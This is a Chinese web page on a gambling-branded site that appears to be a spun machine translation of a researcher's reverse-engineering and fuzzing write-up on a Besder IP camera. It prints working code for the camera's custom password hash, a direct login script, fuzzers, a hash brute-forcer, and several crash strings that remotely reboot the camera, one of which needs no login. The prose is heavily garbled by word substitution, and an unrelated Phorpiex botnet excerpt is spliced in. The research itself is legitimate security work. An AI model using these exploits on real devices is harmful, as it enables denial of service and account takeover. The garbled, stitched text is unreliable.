欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

针对Besder收集摄像头的逆向剖析和破绽发掘

b9e08c31ae1faa592019-11-2675Web安全

这篇文章,我会对Besder IP20H1收集摄像头举行逆向剖析和破绽发掘。 

硬件方面,IP20H1有4个电线衔接器,处置惩罚器依然是一个HI3516,一种罕见的IP摄像头SoC。

前期,我要做的就是捕捉数据包,读取它们,以后再最先编写自身的客户端!但在此之前,我必须要做以下3件事:

1.猎取一切端口号,源和目的地以及运用它们举行通讯的职员的列表;

2.研讨数据包的基础构造并弄清楚基础的花样;

3.检察客户端软件,以相识内部事变的线索。

逆向分

逆向剖析运用的应用顺序是XMEye应用顺序,XMEye是一款监控软件,配套ipc、Dvr等前端监控装备,经由历程装备的序列号以云体式格局登录,将实时的监控画面显现的Android挪动装备上并对装备举行预览操纵,这意味着摄像头内置了DDNS衔接。我为在收集中编写划定规矩以防备摄像头接见互联网觉得非常高兴。

在猎取的第一个数据包中,我发明了一个20字节的序列,由1个单字节0xFF,13个0x00、0xFA05和末了4个0x00构成。我将其称为发明播送数据包(Discovery Broadcast Packet ,DBP)。

别的,另有一个类似于0xFA05的标记,即0xFB05,多是客户端,而0xFB05是摄像头。从该数据包中,我能够看到挑选的花样是JSON。运用自定义协定将越发轻易,因为它的反序列化事变很简朴。

检察标头,我能够看到数据包含一个0x3E,它恰好是数据的确切大小,不含20字节的标头。不论是在GitHub上,照样在其他任何搜刮引擎上,在搜刮称号“ GetSafetyAbility”时,找不到任何东西。别的,该协定还从UDP切换为了TCP。

遍历其他数据包,能够看到TCP数据流部份,因而我设置了一个简朴的Wireshark过滤器,将效果过滤得更有层次。我只须要TCP PSH数据包即可:

tcp.flags.push == 1

当我用谷歌来检索这个包中的一些字符串时,发明了一些风趣的信息。

PasteBin

Gist

Github

在PasteBin中,有一些日记,检察个中的一些字符串能够猎取一些有用的信息。起首,这是某种Android客户端,以至多是我已装置的客户端,列出了它发送的JSON音讯和一堆参数。

Gist只管只是发送/吸收数据包,没有什么太风趣的,然则文件中却包含着哈希暗码。

Github里有最风趣的信息,它准确地形貌了标头的制造体式格局。我体贴的重要函数就是从sendSocketData最先的,它包含我真正体贴的getSendDataInBinary函数挪用。这将猎取标头数据,并将其放入20字节缓冲区中,检察函数自身能够诠释一切题目。

检察代码中用法的一个示例,能够看到一切字节现实上都是在Little Endian中排序的。

如今我晓得secondInt现实上是SessionID!然则,经由历程检察fourthInt,我依然不晓得它是什么,然则它的值被硬编码到每一个零丁的敕令中,所以我能够猜想,不论它是什么,它都与敕令名或其他内容相干。然后,摄像头向客户端发送之前的敕令的相应。

此时,客户端尝试登录装备,然则我已将默许暗码更改成“password”,不论该暗码是什么,它许多是空缺暗码。以后的相应应当是“失利”,我能够看到下次登录尝试运用了差别的暗码,而且现实上胜利了。

我注意到,风趣的是,当身份验证失利时,报告说它是一个DVR,而在胜利时则报告为IPC。然则到目前为止,关于是什么掌握了SessionID字段的信息还很少。我能够须要处置惩罚这个题目。

猎取哈希值

我终究也获得了一些暗码,然则暗码是经由哈希处置惩罚的,因而我须要找出制造商的要领。起首要注意的是,在其他捕捉中,“暗码”字段一直是雷同的,这意味着能够我并不是每次都在处置惩罚随机盐值。假如他们确切运用盐值,则必需将其硬编码到摄像头自身中,但这不太能够。这个哈希值真正新鲜的处所是,它是“MD5”,但哈希自身只需8个字节,而MD5有16个字节。这意味着存在某种哈希协定,但它是自定义的,并基于MD5构建。

举行了一番搜刮后,我照样找不到关于此哈希花样的任何信息。在尝试过CyberChef和hash calculator等东西后,都没有胜利。末了,照样在他人的协助下找到了相干的信息。

末了,我运用了一些哈希体系的源代码来编写自身的Crystal哈希。

# Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py


require "digest/md5"




module Dahua


  def self.compress(bytes : Slice(UInt8)) : Bytes


    i = 0


    j = 0


    output = Bytes.new(8, 0)




    while i < bytes.size


      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8


      if output[j] < 10


        output[j] += 48


      elsif output[j] < 36


        output[j] += 55




      else


        output[j] += 61


      end




      i = i+2


      j = j+1


    end


    output


  end




  def self.digest(password)


    md5_bytes = Digest::MD5.digest(password.encode("ascii"))


    compressed = compress(md5_bytes.to_slice)




    String.new(compressed)


  end

再依据我的一套要领,肯定暗码哈希。

"" = tlJwpbo6
"password" = mF95aD4o
"abcdef" = vfMMASaj
"123456" = nTBCS19C
"asdfghjkl" = MajKjGGZ
"000000000000000000000000" = lJ84MHiF

如今来做一些测试,看看是不是能够跳过协定的某些部份!比方,最先的UDP跳多是可跳过的,能够编写一个简朴的顺序尝试直接进入TCP端口34567。

require "./dahua_hash"
require "json"
require "socket"

def make_login_header(json)
"\xff\x01\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\xe8\x03#{String.new(Bytes[json.size])}\x00\x00\x00"
end

json_login = JSON.build do |json|
json.object do
json.field "EncryptType", "MD5"
json.field "LoginType", "DVRIP-Xm030"
json.field "UserName", "admin"
json.field "PassWord", Dahua.digest("password")
end
end

socket = TCPSocket.new("192.168.11.109", 34567)
socket << (make_login_header(json_login) + json_login)
reply = socket.gets
socket.close
if reply
reply_parsed = JSON.parse reply[20...reply.size]
if reply_parsed["Ret"] == 100
puts "SUCCESS!"
exit    
end
end
puts "FAILURE!"

事变历程以下:

SUCCESS!

[Done] exited with code=0 in 0.831 seconds

隐约测

在处置惩罚源代码时,我须要举行某些范例的测试,以肯定怎样准确花样化数据。在此示例中,我能够登录到摄像头,然后发送敕令,然后取得SessionID。

0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009
[Done] exited with code=0 in 1.025 seconds

因为SessionID就像一个简朴的增量器,因而我能够轻松地编写自身的值。相识摄像头怎样发作其SessionID字段。

让我尝试登录后发送另一个敕令,我起首将尝试重播敕令SessionID,然后尝试运用随机的SessionID重播敕令。这将使我对有用的要领和无效的要领有更深切的相识。

对于此敕令,我将运用SystemInfo,客户端运用它来取得一些设置和版本号的列表。但SessionID字段中的播放显现摄像头并不运用它。我尝试了0x00000007、0x11111117和其他几个随机数,它们好像都能够事变!

Success!
{
"Name" : "SystemInfo",
"Ret" : 100,
"SessionID" : "0x11111117",
"SystemInfo" : {
"AlarmInChannel" : 1,
"AlarmOutChannel" : 1,
"AudioInChannel" : 1,
"BuildTime" : "2018-08-29 09:00:36",
"CombineSwitch" : 0,
"DeviceModel" : "",
"DeviceRunTime" : "0x00000FFA",
"DeviceType" : 0,
"DigChannel" : 0,
"EncryptVersion" : "Unknown",
"ExtraChannel" : 0,
"HardWare" : "HI3516EV100_50H20L_S38",
"HardWareVersion" : "Unknown",
"SerialNo" : "41e6853ada5e9323",
"SoftWareVersion" : "V4.02.R12.00035520.12012.047500.00200",
"TalkInChannel" : 1,
"TalkOutChannel" : 1,
"UpdataTime" : "",
"UpdataType" : "0x00000000",
"VideoInChannel" : 1,
"VideoOutChannel" : 1
}
}

[Done] exited with code=0 in 0.86 seconds

在20个字节的标头中另有几个我没法解读的值,所以我写了一个隐约器,看它们究竟是什么。

 Class that contains the basic process for making a message to/from the camera
class XMMessage
property type : UInt32
property session_id : UInt32
property unknown1 : UInt32
property unknown2 : UInt16
property magic : UInt16
property size : UInt32
property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
def self.from_s(string)
io = IO::Memory.new string
m = XMMessage.new
m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
m.message = string[20..string.size]
m
end

def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "")
end

def magic1 : UInt8
(magic & 0xFF).to_u8
end

def magic2 : UInt8
(magic >> 8).to_u8
end

def make_header
header_io = IO::Memory.new
header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
header_io.write_bytes(unknown2, IO::ByteFormat::LittleEndian)
header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

header_io.to_s
end

def make : String
(make_header + self.message)
end
end

接下来,我制造了隐约器的重要部份,它将添补每一个能够的字节值,守候相应,然后断开衔接并轮回。

关于这个事变的一些注意事项:

1.我要定位两个字节,第一个是magic1,然后是magic2。

2.隐约器自身必需具有极高的容错才能,因为运用它时会发作许多毛病。

当我想运转它时,抱负的效果以下:

class Command::SystemInfo < Command
def initialize(@session_id = 0)
super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
json.object do
json.field "Name", "SystemInfo"
json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}"
end
end)
end
end
File.open("logs/system_info.log", "w") do |file|
Fuzzer.run(
Command::SystemInfo.new(session_id: 0x11111117),
magic2: (0x3..0x6),
password: "password",
output: file
)
end

这将运转一段时间,终究发作效果,只管效果准确,但速率太慢了!从0x3到0x8的单次扫描能够须要24小时。

荣幸的是,我有一些主意能够使其更快。

暴利谋生的背地:揭秘Phorpiex僵尸收集的赢利系统

介绍 不久前,Checkpoint研究团队对Phorpiex僵尸网络的大规模性勒索邮件活动进行了介绍(可参见《肆虐的性勒索邮件,躺赚的Phorpiex botnet幕后人员》一文)。Phorpiex既像蠕虫病毒又像文件病毒,它能通过漏洞利用工具包和其他恶意软件传播,迄今为止已经感染了一百多万台Windows电脑。据Checkpoint的测算,Phorpiex僵尸网络每年产生的犯罪收入约为50万美元。 当然,要维护如此庞大的僵尸网络,需要一个可靠的命令与控制(C&C)基础设施。对于范围较小的恶意软件来说,最常使用的是虚拟专用服务器(VPS)。VPS托管服务可以从合法的公司购买,且许多VPS供应商不对使用者进行身份验证。但是对于Phorpiex僵尸网络而言,公共VPS并不合适,因

在测试历程当中,我注意到该协定的一个风趣的地方,服务器(摄像头)许可对同一个IP地点开放恣意数目的衔接,只需它们都位于差别的端口上即可。这意味着假如我能够建立一个套接字组,就能够运用它们一次考核多个magic字段,每一个magic字段都守候自身的相应,

你能够在GitHub上检察相干代码。

Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}

运用此要领,我们能够在30分钟内将0x0的空间隐约化为0x1000 !每一个光纤都将运用其自身的套接字,发送音讯,然后守候吸收。假如超时,它将抛弃该音讯并移至下一条音讯。

假如摄像头因为某种缘由而封闭,则对超时设置2分钟的宽限期,以守候摄像头尝试相应。如许能够确保一切装备被掩盖。因为假如确切涌现毛病,则必需有人从新启动摄像头。

最罕见的相应是

"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"

约莫有4000种魔法字段,不过这是一个登录失利数据包。风趣的是,假如未取得暗码或用户名205,它将相应一个差别的毛病代码。

"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n"
Bytes: ["0x03e8"]

不论做什么,都邑返回相应胜利的音讯,所以有必要找出个中的缘由:

"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]

这就是“坚持运动状况”,只需它收到一个坚持运动状况的数据包,就能够坚持与摄像头的衔接。

"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03ee"]

经由一些非常规范的效果以及对SystemInfo的现实相应,我终究进入了一个风趣的范畴,即对该协定举行深切剖析。

"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0582", "0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x058c", "0x0591"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0596"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a", "0x059b"]
"{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a0"]
"{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a2"]
"{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05a6"]
"{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05a8"]
"{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
Bytes: ["0x05ac"]
"{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05b4", "0x0828"]

我们最初隐约的敕令是“SystemInfo”,为何返回的称号差别,比方OPSCalendar?这很风趣,这意味着不仅是magic field掌握敕令范例,这些敕令中的一些并没有举行太多的毛病搜检,所以它们能够在以准确的体式格局运转时发作一些新鲜的效果。如今,我也有了新的敕令称号来举行隐约处置惩罚。

"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05be"]
"{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n"
Bytes: ["0x05c0"]
"{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x05c2"]

如今最先举行最中心的逆向剖析了!

{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"

我找到一个隐蔽的用户帐户——“admin”帐户,仅具有平常权限。这个发明很重要!这是一个逆向剖析的新办法。能够没有准确设置“权限列表”,这能够使我无需登录即可接见摄像头的功用。我还能够看到“admin”的完全权限列表,个中包含关机和升级权限。

BINARY FILE "{ \"command\" : \"sync\","
Bytes: ["0x0666"]

这个迥殊风趣,我的隐约器将其标记为“二进制文件”,因为它没法将其剖析为JSON。好像敕令在发送历程当中被切断了,也能够发作了一些风趣的事变(比方崩溃)。

BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000"
Bytes: ["0x0606"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004"
Bytes: ["0x0608"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000"
Bytes: ["0x066c"]

我还取得了一些包含设置转储的zip文件,而风趣的是个中不包含我对摄像头尚不相识的任何内容。

BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF"
Bytes: ["0x0618"]

0x0618为我供应了来自摄像头的图象,对厥后的剖析很有用。

总的来讲,如今我已对装备有了一些风趣的看法,实时我还没有隐约一切敕令以及未经身份验证的用户帐户!

用户帐户“默许”终究会让我清楚地相识到发作了什么,因为它只需平常权限,所以它的大多数相应都没有多大意义。

Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000
"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n"
Bytes: ["0x03e8"]
"{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x03f2", "0x080e"]
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x059a"]
"{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n"
Bytes: ["0x0672"]
"{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x07fc"]
"{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n"
Bytes: ["0x0852"]
"{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n"
Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]

用Radamsa举行隐约测试

Radamsa是一种基于fuzzer的通用变异情势。这款fuzzer适用于无履历的测试职员,因为它易于装置和运用,它可尝试依据输入构造的差别变化的引擎随机辨认数据构造和变异。从我之前举行的行动隐约测试中,我晓得默许情况下能够运用哪些敕令,因而我应当对那些特定项目举行隐约测试,以检察是不是会使它们行动非常。

File.open("./rsrc/op_monitor.txt", "w+") do |file|
file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open("./logs/radamsa/op_monitor.log", "w+") do |file|
puts "Testing connection"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
xmm = Command::OPMonitor.new
socket.send_message xmm
puts "SENT: #{xmm.message}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

1000.times do |x|
begin
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
message = `radamsa ./rsrc/op_monitor.txt`
file.puts "SENT: #{message.inspect}"
socket.send message
reply = socket.receive_message
file.puts "GOT: #{reply.message.inspect}"
rescue e : MagicError::SocketException
puts "SOCKET DOWN! #{e.inspect}"
raise e
rescue e : MagicError::Exception
file.puts "ERROR: #{e.inspect}"
puts "ERROR: #{e.inspect}"
rescue e
file.puts "BAD ERROR: #{e.inspect}"
puts "BAD ERROR: #{e.inspect}"
end
end
end

我先向OPMonitor发出一条音讯,然后将其输出到文件中,然后经由历程Radamsa发送该文件,然后将其隐约数据发送到摄像头。在约莫100次摆布的尝试后,终究找到了一种要领,能够在从新启动摄像头时中断客户端和摄像头服务器约120秒。此字符串经由历程ping,衔接等体式格局封闭了摄像头,这意味着摄像头自身现实上已从新启动。

crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N?ONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N?ONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"Sess?ionID\":\"4294967296xAbcdef256\"}"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

此时,Radamsa已协助我找到了一个破绽!

关于隐约测试的申明

我能够肯定地说,该协定的事变体式格局存在一些新鲜的地方和抵牾的地方,这对渗入测试来讲往往是有益的。协定越生疏,就越有能够犯毛病。

暴力破解暗码

要找出纯文本暗码,我必需举行暴力破解上述的哈希值。

require "./dahua_hash"

module Brute
def self.run(hash : String, start = "a") : String
current = start

counter = 0
success = false

start_time = Time.now
until success
if Dahua.digest(current) == hash
puts "SUCCESS!!!"
success = true
break
end

counter += 1
current = current.succ

if counter % 1_000_000 == 0
puts " @ #{current} : #{Time.now - start_time}"
elsif counter % 10_000 == 0
print '.'
end
end
end_time = Time.now

puts "Time: #{end_time - start_time}"
puts "Result: #{current} : #{Dahua.digest(current)}"
current
end
end

因为我晓得“用户”帐户的细致信息,因而我要做的就是将其插进去BAM!

Brute.run("OxhlwSG8")

约莫16个小时后,我将获得字符串“tluafed”或“default”。

发明的拒绝服务进击破绽

在运用Radamsa的历程当中,我发明了一个DoS,该DoS将经由历程无特权的用户帐户封闭我的摄像头。让我找出致使崩溃的确切缘由!我会备份字符串,然后把它们拆分,直到运转崩溃。

我做的第一件事是删除数据包的“音讯”部份,DoS依然有用。以后,我最先删除标头的位,这也是毛病的大小。我还更改了个中的值,以检察致使崩溃的缘由和未致使崩溃的缘由。我发明大小字段凌驾0x80000000会致使崩溃。

crash_string = "\xFF" + ("\x00"*13) + "\x85\x05" + "\x00\x00\x00\x80"

这示意极能够有人将带标记变量用于无标记整数,因为大小永久不能小于0,这能够会致使某种整数溢出破绽,多是因为顺序正在尝试读入音讯大小,它远远超出了预期,或许为负值,从而致使崩溃。

当前,该破绽应用OPMonitor的魔法字段,然则这个破绽应当会影响我们能够接见的任何敕令,因为“login”敕令是最不受庇护的,它应当是下一个目的。

crash_string = "\xFF" + ("\x00"*13) + "\xe8\x03" + "\x00\x00\x00\x80"
socket = MagicSocket.new("192.168.11.109", 34567)
#socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

这将发作以下效果:

SENT: "\xFF\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\xE8\u0003\u0000\u0000\u0000\x80"
Unhandled exception:  (MagicError::ReceiveEOF)
from src/magic_fuzzer/magic_socket.cr:0:7 in 'receive_message'
from src/sandbox.cr:69:1 in '__crystal_main'
from /usr/share/crystal/src/crystal/main.cr:97:5 in 'main_user_code'
from /usr/share/crystal/src/crystal/main.cr:86:7 in 'main'
from /usr/share/crystal/src/crystal/main.cr:106:3 in 'main'
from __libc_start_main
from _start
from ???

ReceiveEOF证实套接字已封闭而且服务器已封闭。

摄像头将封闭约2分钟,同时在从新启动时仍会在短时间内相应ping。客户端在此从新指导时期没法衔接,细致视频请点此。

经由历程进一步勤奋,在Radamsa的协助下,我找到了两个新的破绽,“音讯援用”和“选项毛病范例”破绽。

音讯援用DoS

这应用了JSON处置惩罚中的一些破绽,当给定一条完全由两个引号构成的音讯时,摄像头崩溃。

选项毛病范例DoS

这应用了摄像头服务器处置惩罚JSON的另一个破绽。该破绽仅适用于特定的敕令,OPTalk,OPMonitor和OPRecordSnap。发送这些敕令时,能够挑选在根目录下包含与选项雷同称号的选项哈希。

{
  "Name": "OPMonitor",
  "OPMonitor":  {
    "Action": "Claim",
    "Action1":  "Start",
    "Parameter":  {
      "Channel":  0,
      "CombinMode": "NONE",
      "StreamType": "Main",
      "TransMode":  "TCP"
    }
  },
  "SessionID":  "0x0000000007"
}

在“ OPMonitor”项下,有一个哈希选项。服务器一直愿望“ OPMonitor”项下的该选项一直是哈希选项。然则,我能够经由历程将哈希替换为非嵌套范例(比方字符串或数字)来使摄像头崩溃。比方,以下字符串就会使摄像头崩溃。

{
  "Name": "OPMonitor",
  "OPMonitor": 0,
  "SessionID":  "0x0000000007"
}

客户端挟制

既然我在装备上有了进击点,那就能够在对客户端举行进击时运用这些DoS敕令封闭摄像头,举行客户端挟制。

本文翻译自:http://blog.0x42424242.in/2019/04/besder-investigative-journey-part-1_24.html

网友评论